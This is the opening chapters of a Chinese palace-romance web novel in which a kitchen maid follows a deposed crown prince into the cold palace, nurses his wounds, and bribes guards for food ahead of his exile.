《太子爷落魄流放,小厨娘随行娇养他!》
第一卷 第1章 东宫宫变
锦婳八岁入宫为婢,整整九年了。自打入宫,她就从未踏出过宫门一步,明年她就十八了,正是放出宫的年纪。
她使了不少银子,买通了太子宫里的大厨子,才从浣衣局里出来成了东宫里的小厨娘。
平日里端茶倒水,去主子跟前露脸的机会是轮不到她的,她都是在小厨房忙活着添柴,烧水。
锦婳嘴甜,人又勤快好学,把大厨子哄的乐乐呵呵的,直说要收她做干闺女,将来放出宫去婚配给他家老小子。
锦婳默声应下,她一个小小年纪没了娘亲苦命的女孩子,被继母和父亲卖进宫里为婢,早就没有家可回了。
若是能在这东宫里安安稳稳的混到出宫的年纪就谢天谢地了,好在还有一年了。
锦婳今日替大厨子值夜,其实值夜也没什么事可做,太子并非贪吃之人,宵夜之事少之又少,炉子上还暖着鸡蛋羹,过了午夜就都进了她的肚子了。
后半夜更是可以去房里睡了,睡的虽是大通铺,可锦婳已经觉得很不错了,比浣衣局可好多了。
天刚蒙蒙亮,宫婢们就开始起床忙活了,锦婳因着昨夜替大厨子值夜,所以蒙着大被继续睡。
窗外窸窸窣窣小声嘀咕的声音,吵到了锦婳,她皱了皱眉头,把被子蒙的更紧了。
有婢女开始轻轻的进屋收拾衣物,悄悄的仓皇逃离。
“要不要告诉锦婳?平日里我们关系不错。”
“还是别了,多一事不如少一事,如今我们自身难保,你怎么知道惠娘娘肯不肯收她……”
“也是……”
等到圣旨传到,东宫主子娘娘们哭成一团时,已经是午后了。
锦婳睡眼惺忪的起了炕,正要到厨房忙活时,却发现平日里最热闹的东宫廊下一个婢女走动的也没有,就连厨房也是冷锅冷灶。
锦婳正奇怪着,就被一个提着剑推门而入的侍卫吓了一跳!
“大胆宫婢!还敢四处走动,还不快到前院侯着等待发配!”
这斥责吓了锦婳一跳,她忙陪着笑脸解释道:“这位侍卫大哥,昨日我值夜,不知道这是出了什么事?”
那侍卫见锦婳虽然未施粉黛,但也白白净净,说话又客客气气的讨好他,语气缓了一些:“陛下下了圣旨,太子被废,要流放幽州,那可是苦寒之地,东宫女眷们此刻都在前院接旨。”
那侍卫话毕,眼中竟流露出了几分同情的神色。
锦婳话不多说,匆忙跑去了前院,看见太子妃和侧妃哭哭啼啼的跪在地上,旁边是两个贴身侍女。
其他的婢女都去哪里了?……
大厨子和那些小太监们也不见了,整个东宫前院加上她也不过五个人……
宣旨的公公阴阳怪气的说:“陛下圣恩,准废太子暂住冷宫休整,待日子定下发配幽州!”
太子妃本就哭的梨花带雨,听见那公公宣读的圣上旨意后直接晕倒在地。
那太子侧妃吓的也是贴身宫婢扶都扶不起来了。
锦婳勉强从懵的状态中清醒过来,她悄悄的蹿到那个宣读圣旨的公公身边,小声的说:“这位公公,我并非太子家眷,我只是厨房烧火的。”
谁知那公公疾言厉色:“我管你是干嘛的,今日这东宫就是一只苍蝇也别想飞出去!”
那公公说完看了身边的侍卫一眼,侍卫直接拔刀架到了锦婳的脖子上。
锦婳吓了立刻一动不动,进宫的人能活到出宫的能有几个……
本来以为使了全部身家投靠到东宫,当个不起眼的烧火丫头就能平安混到出宫的年纪,看来是不能了……
谁能想到,堂堂太子,未来的皇帝,也保不住自己的性命……
那些个平日里处的还算好的宫俾,还有那个大厨子,不是说要把她配给他家老小子吗?怎么跑路都不带她一个。
锦婳想到这里有些灰心丧气,这宫里的人,不管是主子还是奴婢,全都是狼心狗肺!
发配到冷宫的路上,主子奴婢坐的都是囚车,路上的宫女太监看见了无不侧目。
太子妃和侧妃坐在囚车上哭哭啼啼,路上的宫女太监们窃窃私语,感慨着一人之下万人之上的太子,也有倒台的一日。
锦婳在囚车的一角,蜷缩着身体,算了……认命了,终是逃不出这皇宫……
待一行人被扔进了冷宫,锦婳内心感慨,冷宫不愧是冷宫,满是结的蜘蛛网,连一套不缺齿的全乎茶具都没有,更别提被褥吃食了。
两位主子情绪都不好,待安顿好主子们,锦婳找到机会问太子妃身边的大丫鬟:“这位姐姐,你可知太子竟是犯了什么事了?至于如此严重的处置?”
那大丫鬟叹了口气:“本以为我家小姐嫁给太子是进了福窝,没想到竟被连累至此!听说太子多次在朝堂之上与陛下对立,今日早朝竟然公然顶撞陛下!”
缓了缓,见锦婳还懵在那,不禁疑问:“你怎么没走?”
锦婳尴尬的笑笑:“不巧,我昨日值夜,醒来这样了。”
那大丫鬟眼里有些惋惜:“那你是个倒霉的。”
叹了口气,那大丫鬟又接着说:“我就走不得了,我是小姐陪嫁来的,就算逃出去,也要被主子家捉住打死的。”
刚说到这,就听见太子妃房中传出哭声,两人跑到屋门口,就听见太子妃和侧妃两人哭丧似的。
门口有血迹……莫不是太子回来了?
锦婳刚想探头朝里面看看,就被出来的人撞了个满怀。
那人正是东宫的侍卫总管,谢威!
这样的人物,可是锦婳这样的奴婢平日里挤破头都见不到的啊!
那谢威撞了锦婳,非但不抱歉,还急匆匆的厉声说:“都愣着干嘛!主子被打了板子,受了重伤,会包扎的都进来,主子若是有个三长两短,咱们大伙都别想活命!”
锦婳听了这话,哪敢有半点迟疑,就跟着谢威进了房内。
那太子妃和侧妃闻见满屋子的血腥气,倒是用帕子捂着口鼻退的远远的。
锦婳端了热水凑到谢威跟前,只见那废太子双腿肿的老高,屁股也是血肉模糊,一滩烂泥一样,打板子的人怕是下了死手了……
这宫里的打板子的人都是身怀绝技之人,有的板子下去,看着虽重重落下,打在身上只是受些皮肉之苦,却是不伤及根本的。
还有一种板子,打下去确是让你皮开肉绽,挫骨断筋,求生不得,求死不能。
看来,废太子是第二种……
第一卷 第2章 近身主子
谢威见锦婳愣在那,不悦的怒斥一句:“还不快帮殿下把裤子褪下去!”
锦婳低头见那血肉模糊的下身,手有些微抖,但还是硬着头皮下了手。
锦婳手尽可能的轻,但还是将床上昏迷的人弄醒了,一声闷哼!
兴许是太疼了,声音里满是隐忍的痛苦。
谢威横了锦婳一眼,俯首在床边轻生劝慰着:“主子忍着点,这伤口若是不清洗上药,下身恐怕就废了!”
接着谢威咬牙:“这帮狗东西,对主子下如此重手,主子放心,他日奴才定十倍百倍讨还回来!”
锦婳在宫里也混了些年了,虽然没机会接触谢威这样的主子身前的红人,可也是知道的,谢威此人,手段了得。
锦婳轻手轻脚的给床上的人上了药,太子已经被锦婳和谢威二人联手换上了干净的里衣,上过药后,下身的血也止住了。
只是恐怕太子还是很痛,他的头一直朝着床内,手紧紧握着拳,整个身体因为剧痛微微颤抖着,他仿佛拼命隐忍着,维持着最后的尊严。
谢威被坐在椅子上哭哭啼啼的太子妃和侧妃弄的有些心烦了,转头冷着脸对她们说:“二位主子先回吧,这里有奴才照料。”
太子妃和侧妃见自己属实帮不上忙,又不招人待见,还是见好就收,撤了吧。
谢威瞥了锦婳一眼:“你叫什么?在哪里当值,之前怎么从未见过?”
如今太子不知是何境遇,将来或许能翻身也未可知,锦婳还是恭敬的回答:“回大人,奴婢锦婳是小厨房的帮厨,来东宫未足一年,大人未见过奴婢也是正常。”
谢威给太子轻轻盖上了层薄被,继续对锦婳说:“那今夜就你与我一同守着殿下。”
今夜是太子最关键的时候,锦婳恐怕是别想睡了。
锦婳心想,现在太子局势不明,虽近了冷宫,择日流放,但毕竟也是皇帝嫡出的血脉,还是得任劳任怨的听吩咐,若是太子他日得势,兴许能感念自己在他落魄时照料之情,照拂一二也未可知。
锦婳退身坐在了太子床榻边的小凳上,打起精神,盯着太子的一举一动。
谢威坐在太子的床榻边,瞥了一眼锦婳,这小宫女倒是有些用处,但怎么总是觉得她有点小心机,不太好拿捏似的。
果然,夜里废太子烧了起来,伤口也好像有些感染,锦婳靠在床角瞌睡的迷迷糊糊,只听见谢威小声在废太子耳边说:“殿下万万不可以丧了气,让有心人得了逞!”
果然,床上的人听了,即便难受也不再哼哼唧唧,终于也露了脸。
那张脸即便此刻如此痛楚,依旧如云端上一般的耀眼。这是她第一次近距离的接近主子,剑眉星目,鼻子高翘,唇红齿白,他简直太好看了!
谢威厉色撇了锦婳一眼:“看什么看!还不快去打些冷水来给主子降温!”
锦婳困的也是迷迷糊糊的,她起身一出门,就冷的她打了一个哆嗦,入秋了,夜里很凉,明日该换上厚一些的衣裳了。
入宫也有入宫的好处,起码吃穿不愁。
到了时辰有吃食,过冬有过冬的棉衣。
幸好冷宫的水缸里还有一些存水,锦婳打来水,放到废太子床头,轻声对谢威说:“谢大人,水缸里的水不多了,明日恐怕要我们自己做饭烧水吃,还得弄一些才是。”
谢威的眉头轻微皱了一下:“知道了,明日我会想办法。”
谢威就坐在地上的角落里打盹儿,今夜锦婳负责伺候废太子。
额头还是滚烫的,锦婳将手帕拧了凉水,不停的给他擦拭身体降温,到了清晨,也算是降下来了。
伤口处看着好似有些溃烂,单是用金疮药恐怕难以治愈,明日还是要与谢威说一声,请个太医来看看才好。只是不知废太子如今的境遇,是否还请得动太医来。
天空蒙蒙泛白,锦婳捏了捏酸涩的肩膀,轻轻走到谢威身边。
“谢大人,天快亮了,我还要去起锅烧水做饭,主子这边您看这些吧。”
谢威并未睡着,只是闭目养神,听见锦婳的声音,睁开眼睛没有二话的回答:“嗯,你去吧。”
锦婳出了门,谢威起身走到太子身边,摸了摸额头,烧退了。
谢威当即松了一口气,这小宫女照顾起人来还算不错。
太子也是练武之人,与他同拜一师,他对太子身体的底子心里有底,虽然打板子的人下了狠手,但要不了太子的命。
自小他便因为是庶子身份在府中备受欺凌,是太子在一群伴读中挑中了他,准他同拜一师,受其武功,准他读书。
即便太子此刻已经不是太子了,但永远都是他的主子,任何人都可以背弃太子,只有他不能!
锦婳进了冷宫的小厨房,什么吃食也没有,冷锅冷灶。
冷宫的门口有侍卫把手,想出去弄吃的恐怕比登天还难。
但是也不能坐以待毙,一群人在这等着饿死。
锦婳溜到门口,低声下气的对把手的侍卫说:“这位大哥,我们主子们饿了,这冷宫里没有一点吃食,还请您行行好,准我出去弄一下吃食回来。”
那侍卫听了满脸的不屑和嘲笑:“进了这冷宫的门,还想出去?现如今里面的哪里还有主子,不过是被废了的庶人,叫里面的人拿些好处来,爷赏你们些吃食便是!哈哈哈!”
听了这话,锦婳懂了,她转身去寻太子妃。想必是冷宫的环境不好,太子妃也早早就醒了,房间的门开着。
锦婳敲门而入,太子妃刚刚起身,身边的侍女正伺候她梳妆。
锦婳直接将侍卫的话汇报给太子妃:“侍卫说,要吃的可以,得给他们好处!”
太子妃此刻还弄不太清楚形势,厉声说:“这帮奴才,竟然趁太子失势,欺负到本宫头上!”
锦婳自来不是个多话的,如今又是这种形势,她自然不会多语。
第一卷 第3章 吃食
太子妃转头对贴身侍女说:“去把李侧妃叫来。”
锦婳站在一旁低着头不做声。
不一会,那位李侧妃身后带着个丫鬟就站在了太子妃身前。
许是冷宫消息闭塞,太子妃此刻还有些拎不清形势,她依旧高傲的说:“太子是我们的夫君,也是你我的依靠,如今吃食、药品都要靠侍卫带进来,身上有多少值钱的东西,就都拿出来吧。”
谁知这位李侧妃压根儿就不买她的帐:“事到如今您还当自己是太子妃娘娘?我呸!”
“我父亲检举太子有功,我只是暂时在这冷宫之中,不过多时,我父亲自会派人来敲锣打鼓的将我接出去!”
“至于你……呵呵!就陪着废太子在这冷宫里慢慢熬吧!”
“不过,这冷宫里也是你最后的好日子了,佟素云!我看够了你平日里高高在上的姿态,真让人恶心!希望你早日死在流放的路上才是!”
太子妃气的本就白皙的小脸此刻更是惨白无比。
可她只能一手捂着胸口大口大口的喘着粗气,另一手颤抖的指着那位李侧妃:“你……你!竟然连自己的夫君都谋害!”
那位李侧妃笑的更加妖艳:“那废太子何时是我夫君了?自成亲以来他从未与我圆房过!都是你,佟素云!害我被全府上下取笑,我就是要毁了你!”
两位主子闹的正凶,锦婳见这两位也是实在指望不上,便偷偷的退了出去。
到了太子的住处,里面有轻轻隐忍的声音,锦婳把头探进去,是谢威在给废太子擦金创药。
太子的头依旧是朝着床里的,锦婳只能看到他因为极度隐忍而颤抖的背脊,却看不见他的表情。
谢威见锦婳在门口探头探脑,欲言又止,清冷的问:“饭可做好了?”
锦婳进了门,把侍卫说的话又原封不动的学了一遍。
谢威手上的动作没停,眉头却微皱。
然后谢威从衣襟里掏出了一个金疙瘩递给锦婳。
“省着点用,来冷宫太过仓促,太子府里值钱的东西都没带来。”
锦婳接过金疙瘩,用手轻轻掂了掂,沉得很:“奴婢会省着用的。”
说完锦婳看了眼废太子,应是不烧了,伤口的炎症还没消,得想办法弄些药来才是。
锦婳在小厨房找了一个破旧的小铁锅,把金疙瘩融了,分成了几份。
那侍卫贪得无厌,得分几次给他才好。
锦婳将其中一块金疙瘩递给那门口的侍卫:“大哥,麻烦您带着吃食进来,米面油、菜、蛋这里什么都没有,最好还能带些治疗外伤的药来,多谢大哥了。”
那侍卫接过金子,嘴角藏不住的笑,拿牙咬了一下,是金子没错!
“回去等着吧!带回来我喊你。”
锦婳继续陪着笑脸:“还劳烦大哥快些,里面的主子早就饿了。”
那侍卫刚得了金子,正在兴头上,敷衍了锦婳几句:“知道了,知道了!”
那侍卫拿了金子倒也办事,不到一个时辰便来小厨房喊锦婳。
“给,这是六个鸡蛋,还有些米面,肉和角瓜,只能弄来这些,还是和我关系要好的厨子偷拿出来的。”
那侍卫把东西递给锦婳,锦婳陪着笑脸接下,不知要在这冷宫里住上多久,以后的吃食恐怕都要靠这个侍卫了。
“多谢大哥,我赶紧去给主子们烧菜了。”
说完锦婳进了小厨房,她割了一小块猪肉,剩下的小心翼翼的吊起来挂在墙上。
然后抓了一把大米下锅,添了些水熬粥,把猪肉焯水剁成沫,下在粥里,再撒上一些盐调味,如今条件有限,只能糊弄着做熟便是了。
锦婳又抓了一把面,朝里打了一个鸡蛋,角瓜剁碎掺和在面里,下锅摊成小饼。
小厨房忙活的炊烟袅袅,不一会就飘出了香味。
锦婳做饭的功夫,李侧妃果真被她的家人给接走了,现在冷宫里也只剩下她、废太子、谢威、太子妃和她的侍女锦心。
锦婳熬了一夜饿坏了,囫囵的喝了几口粥,吃了一张热乎的鸡蛋饼,保命要紧,此刻她也管不得什么主子奴才的了。
锦婳把剩下的吃食分成两份,各两碗粥,两张饼。
她点送到了废太子屋里,太子还在昏睡,谢威守在床边。
锦婳听见谢威哄孩童一般的在床边耐心哄着:“殿下,多少喝口粥,不然如何熬的过去?别让那些陷害您的人得了逞!留得青山在,不怕没柴烧,等您好了,奴才陪着您一个一个去算帐!”
那床上的人果然有了动静,将头侧了过来,那表情隐忍又痛苦,他就着谢威的手咕嘟咕嘟将粥喝下大半碗。
然后锦婳听见他轻声说:“谢威,我恐怕站不起来了。”
多么风光霁月的人物,却落得如此这般田地,锦婳心中不免一阵唏嘘。
“殿下……”谢威一阵哽咽。
“奴才不会让您有事的,等我们出了宫,奴才就背着您去看大夫,一定医的好您的!”
床上的人声音轻的如飘摇的落叶:“可是我的腿现在一点知觉都没有了……”
听到这,锦婳悄悄退了出去,她还要给太子妃那送吃食。
刚端进太子妃屋里,就看见太子妃坐在桌前嘤嘤哭着,锦心在一旁劝着擦着眼泪。
锦婳心想,这太子妃是个不拿事儿的!
锦婳把吃食放在桌上,刚转身要走,就听那锦心说:“今日就给太子妃吃这些?”
锦婳回头看了看锦心:“这些还是侍卫收了好处才肯带进来的,有人有心要将我们饿死在这,这顿吃了,下顿还不一定有得吃。”
太子妃听了,哭的更来劲了。
锦婳听的有些烦了,蹙了蹙眉说:“太子妃身上有什么值钱的物件还是拿出来的好,多换些吃食,即便是流放的路上也饿不死。”
听到流放,太子妃哭的简直要晕厥过去了。
锦婳摇摇头,无奈的转身走了,她一夜没睡,得补觉了。
冷宫里的房间就那么几间,本来没有她的住处,如今李侧妃被接走了,正好她可以睡那间。
进了屋,锦婳蒙上大被,到头就睡。
第一卷 第4章 安慰
下午,锦婳醒来看见小厨房地上又摆了些鸡蛋、蔬菜和面粉。
想来是那收了好处的侍卫偷偷弄进来的。
她这两天累的头昏脑胀,晚上所幸就蒸上几碗鸡蛋糕,烙几张糖饼算了。
忙活了一阵,锦婳端着热乎乎的鸡蛋糕先送到了太子妃住处,桌子上的早饭还赫然的摆在那,一动未动。
锦婳将吃食放在桌子上,退出了门,叹气摇了摇头,如今虽说是在冷宫里,但好在还有精米白面可吃,若是出了皇宫,流放的路上,怕是连窝头都是好的,到时这几位主子应是咽不下的。
锦婳端着餐食又往太子屋里走,谢威从清晨开始已经伺候了太子一天了,见锦婳进来,招呼她道:“你,来伺候殿下,我去歇一会。”
锦婳未做声,只是漠然上前,坐在废太子床边。
她伸手探了探,还是烧的,只是比之前降下来了些。
她沾湿了汗巾,轻轻的帮废太子擦露出来的皮肤。
锦婳的声音轻而缓:“小时候,家里穷,吃了这顿没上顿。我爹爹经常上山摘野果子给我们兄妹几人吃。有一次竟从果子树上一脚踏空摔了下来,把腿给摔断了。那时候家里根本请不起郎中,乡里只有一个赤脚郎中,我便拿着家里仅有的两个鸡蛋,跪在赤脚郎中家门口求他,那赤脚郎中竟也被我说动,发了善心,走了几里路到我家为爹爹医治。”
“我爹爹的伤的确很重,但那郎中说只要卧床休息几个月,不要挪动伤腿,慢慢的也会长好的。那时候家里实在是太穷了,实在没有钱买药,我便照着那郎中说的草药的样子,上山去采草药。”
“果然如那赤脚郎中所言,第二年开春,我爹爹竟能拄着拐杖下地了,又过了些日子,爹爹就能扔下拐杖,只是有些跛脚罢了。”
“今日我细细瞧着,殿下与我爹爹伤的地方很是相似,等我们出了宫,流放的路上定然也会有草药,到时奴婢再为殿下采来草药敷在患处。殿下比我爹爹年轻许多,应该也是可以恢复的。”
锦婳说的语气平和而缓慢,似是自己在自言自语,也不管是否有人听,她的言语里并没有感情,如果非说有,那便是同情吧。
床上如一滩死水的人手指微微动了动,陆卿尘微微侧过头,床边的人正在侧身沾湿汗巾,朦胧间看不清她的容貌。
待她转过头来,只觉得面色清丽却很是陌生。一双杏眼红唇,容颜上佳,在太子府内从未见过。
两人眼神相对间,也不见她眼中有任何情绪,仿佛他在她面前是再寻常不过的人罢了。
汗巾擦拭他的四肢,他只觉得凉爽舒适,感觉熟悉,这人就是昨夜一直照看他的人。
宫里的宫女他见多了,美貌的数不胜数,这宫女也并没有什么特别之处,只不过她刚刚的言语不经意间勾动了他的心神,陆卿尘不禁哑着嗓子问了一句:“你刚刚说的,可都是真的?”
锦婳并未停下手上的动作,也并未抬眼看陆卿尘,只是淡淡的回了句:“自然是。”
接着,屋内寂静无声。
半晌,锦婳又幽幽开口:“此刻虽在绝境,可也并非不会绝处逢生,宫外天大地大,另有一番天地也未可知。”
她自小就是苦过来的,相对于宫里的日子来说,跟着废太子流放虽苦,可也自由自在。
陆卿尘被她说的眼眸微转,他以前并非不是不向往宫外的自在,可他的身份,天生注定权谋在身,他逃不掉的,没想到,有一天他会以这种方式出宫。
是啊,绝处逢生也未可知,他用好奇的眼光打量她,夕阳西下,光晕打在她身上,竟形成一圈光环,显得这个小宫女慈眉善目的。
突然,屋外传来哭泣呜咽的声音,让这个寂静的小院瞬间显得呱噪。
锦婳刚侧头看向门口,只见太子妃一双哭的通红的似的杏核的眼睛,被丫鬟搀扶着扑了进来。
“殿下,妾方才听说,您因为北疆与陛下在朝堂上政见不同,大吵一架,竟被陛下发配……北疆了……”
“呜呜呜,殿下,这可是真的?”
床上的人并未出一声,锦婳低着头站在床尾,偷偷朝床上看了一眼,那人朝向床内的手紧紧的攥着拳,似乎隐忍着什么。
这时只听门口匆匆的脚步声,锦婳朝着门口看了看,是谢威回来了,手里拎着的好像是药材,还有一些打包好的衣物。
谢威进门将东西放在桌子上,对着太子妃恭敬一礼:“太子妃,殿下如今受了重伤,需要休息,您还是先出去吧。”
太子妃本是高高在上的主子,竟然被一个侍卫下了逐客令,满脸的羞愤,可想到如今自己的处境,却也隐忍下来,拂袖而去。
锦婳看了看谢威,这就是被太子养在身边的大内第一高手。竟不似一般练武之人那样看着孔武有力,反倒一张白皙微瘦的面孔,一脸的书生气。
谢威看着年纪比废太子略微年长一些,腰间挂着的是一柄镶嵌了红宝石的宝剑,看着虽消瘦却很有震慑力,幼年时在宫外戏台子上看到的最英俊的小生,也没有他这般的英俊好看。
太子妃出去后,房间内立刻恢复了安静。谢威坐在床榻边,安慰废太子:“殿下,太子妃所言无需放在心上,属下已经寻来了药材,这就为您煎药。”
床上的人依然不为所动。
接着谢威看了一眼站在床尾的锦婳,又指了指小方桌上被包成一袋一袋的药材,沉声说:“这些药每日一包,三碗水煎成一碗。”
锦婳点了点头道:“奴婢知道了。”
说着便拿着药材转身出门,还没走到小厨房,就听见不远处有人小声哭哭啼啼,是太子妃的声音。
锦婳慢下脚步,侧耳听着却是一惊,是太子妃和一个男子说话的声音!
第一卷 第5章 羞辱
“你说过会救我出去的,如今他这般的境地,难不成你真要看着我随他去流放吗?呜呜呜……”
锦婳随着那声音的来源向前探了几步,透过树丛,在小院的拐角处,她竟看见太子妃正靠在一个锦衣男子怀着,柔弱无依的轻声啜泣。
她探了探身却只能看见那男子的侧脸,竟与废太子有几分相似。
那男子将太子妃揽在怀里,温柔的安慰着:“我定然会救你出去,只不过需要些时间,你是我最珍爱之人,我怎忍心看你随那废人去流放……”
锦婳怕被人发现,奴婢窥探主子的秘密若是被发现是要被杀头的,再说她对这些宫闱秘事也没有多大兴趣。
锦婳悄悄朝后退了几步,去小厨房煎药了。
冷宫的小厨房简陋的很,窗户纸破破烂烂,四处漏风。
锦婳裹了裹身上的单衣,朝火边靠了靠,已经是九月的天气了,早晚有些冷,若是在流放路上,没有棉衣怕是要吃些苦头了。
废太子就算再落魄,也是主子。就冲着他冲撞了陛下,却没被下大狱,而是被软禁在了冷宫。虽说被打了板子,也皮开肉绽,可伤口她看了,虽深却不致命,这说明陛下并不想置太子于死地。
这药还是要好好的煎,太子虽废,也要当主子一样的伺候,若是太子有个三长两短,她的小命恐怕也要保不住。
等锦婳煎好了药,端进废太子房内时,抬头看见床边有人在与废太子说着话。
谢威站在太子身侧,听见门口有声音,微微侧了侧头,看见是锦婳端着药进来,眼神瞥了一眼门厅的小方桌,锦婳立刻懂了谢威的意思,放下药准备转身出去时,却听见床边那人说:“二哥,我昨夜在父皇寝宫门口跪了一夜,可他却丝毫不为所动,看来真的是要断了与你的父子情分啊!”
锦婳停住了脚步,这声音!她刚刚在冷宫的拐角处听过!这男子是与太子妃有私情的那人!
他叫废太子二哥!他竟然是个皇子,身为皇子与太子妃有染,废太子他知道吗?!
废太子依然面冲床内,纹丝不动。
谢威却好像忍不住说了话:“五皇子殿下,我们主子就不劳烦您费心了,冷宫阴冷,怕浊了您的身,殿下早些回吧!”
五皇子被一个侍卫下了逐客令,有些恼怒,何况太子被废,不足为惧,长袖一挥,高声说道:“我二哥住得,我有何不可?!”
五皇子又看向面朝床内躺着的废太子,语气缓和了一些:“二哥,我该为你做的都做了,只是素云……她不甘愿同你一起流放北境,给我做个妾她也是心甘情愿的。”
锦婳并未听见床上的人有任何动静,堂堂太子妃竟然为了活命给五皇子做妾,锦婳摇了摇头,心中难免唏嘘,她入宫多年,宫闱里的污糟事也听闻了不少,那五皇子他玷污了多少清白宫女,又招惹了多少官家小姐。
身为太子妃的佟素云又怎会不知,也许是为了活命罢了,也许是自知吃不了流放路上的苦。
谢威的声音突然响起:“五皇子殿下请自重,太子妃乃是我家殿下的原配,怎可给你做妾,你这般的做法岂不是羞辱我家殿下?”
五皇子冷笑嘲讽的声音说道:“是佟素云自己跪在我脚下,哭着祈求我,甘愿为奴为婢,我本不想答应,可她说……”
床上本如石化了一般的人略微动了动,声音低沉又嘶哑:“她说什么……”
五皇子如得逞了一般,眼神轻蔑的看着床上人的背影,嘲讽的说:“她说,她本来爱慕的人就是我,是你当年强娶了她,她每次看见你,都打心眼儿里觉得恶心!”
锦婳透过窗帘看见床上人的背影隐忍着发抖,那细微的隐忍的颤抖如果不是日夜照顾的人,根本不易察觉。
谢威的手搭在剑柄上,咬牙切齿的说:“五皇子殿下,请自重!”
五皇子眼里满是得意的神色,调戏一般的说:“我今日来,也是想问问二哥的意见,不知二哥是否同意佟素云委身给我为妾?”
屋子里又是寂静无声的沉默,一根针掉在地上的声音都可以清晰的听见。
半晌。
锦婳透过窗纱看见床上的人小心缓慢的转过身,虽然是被废之身,被打了板子,穿着带血的里衣只能委身于床榻之上,可他在面对锦衣华服的五皇子,眼神之间却没有丝毫自卑的神色。
他坦然微笑着对五皇子说:“吾不日就要流放北境,一路艰辛坎坷,就算能活着到北境过的也是苦寒的日子。”
“素云是官家小姐出身,恐怕是受不了这个苦的,就有劳五弟替为兄照顾她了。”
锦婳已经入宫多年,初入宫时,受得委屈数不胜数。如今入宫多年,才学会了一些生存之道,免了一些委屈苦楚。
可是今天,她听了五皇子的话突然满腔怒意,她本来已经如一潭死水的心境今日不知为何如惊涛骇浪般在身体里翻腾。
是为废太子不平,更多的还是为自己!本以为她明年就要被放出宫了,拿着自己这些年攒下的银两过上安生日子了。
现在,全都毁了!
锦婳怒气腾腾的快步走出去,到小厨房端上一盆她刚刚煮好的疙瘩汤。
锦婳低着头、闭着眼,快步冲进废太子屋内,一头撞在得了便宜,正打算出门的洋洋得意的五皇子身上。
“啊!什么鬼东西!烫死本王了!”锦婳将一盆热气腾腾的疙瘩汤全都泼在了五皇子的身上。
她也被烫的一跳的五皇子一脚踢翻在地上,捂着胸口勉强爬起来,低着头跪在地上:“五皇子殿下赎罪,奴婢有眼无珠,冲撞了殿下,还请殿下赎罪。”
五皇子锦衣的前襟上满是黏腻的疙瘩汤,他刚要发怒,就听床上的人幽幽的开了口:“五弟,今日之事吾已经应了你,这个奴婢你就饶了她吧,流放的路上吾还需要她照应。”
五皇子瞥了一眼床上的人,嘴角一抹邪魅的浅笑,拂袖而去!
第一卷 第6章 忠仆
谢威出来,扶起跪在地上的锦婳,低声问:“可有伤到?”
锦婳捂着胸口皱眉摇摇头,又看了看地上的空盆:“只是可惜了这些疙瘩汤,我煮了很久,还放了些药材里挑出来的人参须。”
谢威把空盆捡起来递到锦婳手上:“人没事就好,再煮一盆就是了。”
锦婳点头接过空盆,转身去了小厨房。
谢威看锦婳捂着胸口慢慢走远的背影,微微皱眉,不知道这丫头有没有伤到实处?五皇子刚刚情急之下那一脚力道可是不轻。
锦婳进了厨房,刚刚自己有些被愤怒冲上了头,白白浪费了那么一盆上好的疙瘩汤,还平白挨了那么一脚。
小厨房平日里除了她,没有其他人进。她脱了外衣,解开里衣的扣子,胸口一片红,明日恐怕要青一大片了。
这些苦她不是没吃过,刚进宫的时候没少被掌事嬷嬷打,只要能活命,这些早就不算事了。
锦婳烧了一锅热水,用凉水搅拌白面结成大小不一的块状,倒进咕嘟咕嘟开的冒泡的热水里。
再切些碎白菜叶子,下到锅里,放上一勺盐,白菜叶子煮烂了就可以出锅了。
锦婳重新做了一盆烂糊粘腻的疙瘩汤准备送到太子屋里。
屋内
谢威正在喂陆卿尘喝水,陆卿尘摆了摆手,平日里他喝惯了上好的茶,如今只有白水,还是前日里烧开的,属实难以下咽。
谢威放下水杯对太子说:“殿下怎么看那婢女?”
废太子语气淡淡:“倒是个忠仆,可用。”
“属下看那婢女平日里是个谨慎的,今日怕是要为殿下出气才那般行事,只是不知身上的伤可伤到了实处。”
太子思虑片刻:“你身上可还有金创药?那婢女流放路上我们免不了还要靠她照应,吾已是平民之身,以后我们三人就不必主仆相称了,流放路上也诸多不便。”
谢威立刻惶恐的跪在地上:“殿下,这怎么可以,即便您……谢威只认您一个主子!”
任谁都可以背弃陆卿尘,哪怕他的父皇、他的结发妻子都不要他了,他谢威也绝不会背弃他!
锦婳端着一碗热气腾腾的疙瘩汤进门,谢威赶忙站起身,快速收起脸上的伤感。
锦婳将疙瘩汤端进里屋,歉意的看着床上的人和谢威说:“我……尽力了。”
谢威看了看盆里的疙瘩汤,与太子府里平日的吃食相比,实在是没有色香味可言。
谢威朝锦婳点了点头,从盆里舀了一小碗疙瘩汤出来,端到陆卿尘床边劝慰着:“殿下,多少吃一点,如今您有伤在身,疙瘩汤最是养身体。”
陆卿尘倒是也不矫情,微微扬起头,端着装着疙瘩汤的碗,大口大口的喝起来。
锦婳眼里藏了几分笑意,这两人一个废太子,一个侍卫总管,在她这个小宫女面前倒也没有架子,她胡乱做的吃食也不嫌弃和责备。
谢威从怀里拿出一个小瓷瓶递给锦婳,锦婳先是一愣,看着谢威并不敢接。
谢威拿起锦婳的手,将瓷瓶放在她手上:“拿着,这是主子给的上好的金创药,晚上涂在受伤的地方,明日应是不会淤青。”
锦婳屈腿一礼:“多谢殿下,多谢大人。”
陆卿尘已经重新躺下,闭目养神:“以后不必殿下、大人相称,吾已是平民。”
锦婳刚要惶恐开口,称奴婢不敢,就听见门口佟素云抽抽嗒嗒的哭泣声。
佟素云哭的梨花带雨、我见犹怜。她小碎步走到陆卿尘床边,哀泣着说:“殿下,妾……要走了……”
床上的人在闭目养神,面色上并未看出有任何情绪上的波动。
半晌,他许是听见抽泣声烦闷了,微微皱眉:“吾如今已是庶民,发配北境苦寒之地,结局恐怕潦草一死,自不会连累于你,你若要走,我会休书一封,你便跟了五弟吧。”
佟素云没想到陆卿尘会如此说,哭的更是痛苦万分:“殿下,素云对不起您……”
如此结局也在佟素云万万没有预料到的,她本是内阁大学士之女,嫁与太子殿下为正妃,将来只要登上后位的。
她们少年结发夫妻,自成亲以来,太子殿下与她相敬如宾,府中大小事务皆由她掌管,从未责备。
如今却要委身于那好色的五皇子为妾,怎么就变成这样了呢!
陆卿尘被哭的烦闷了,有些没了耐性:“别哭,若是要走便早些上路,哭的吾心里烦躁。”
陆卿尘说完只翻了个身,面朝着床内,此刻是他人生至暗的时刻,他不想面对任何人。
佟素云抽抽嗒嗒的哭着跑了出去,锦婳打来了热热的洗脸水站在原地,若说陆卿尘对那佟素云无情,可他为了她活命,自愿休书一封。
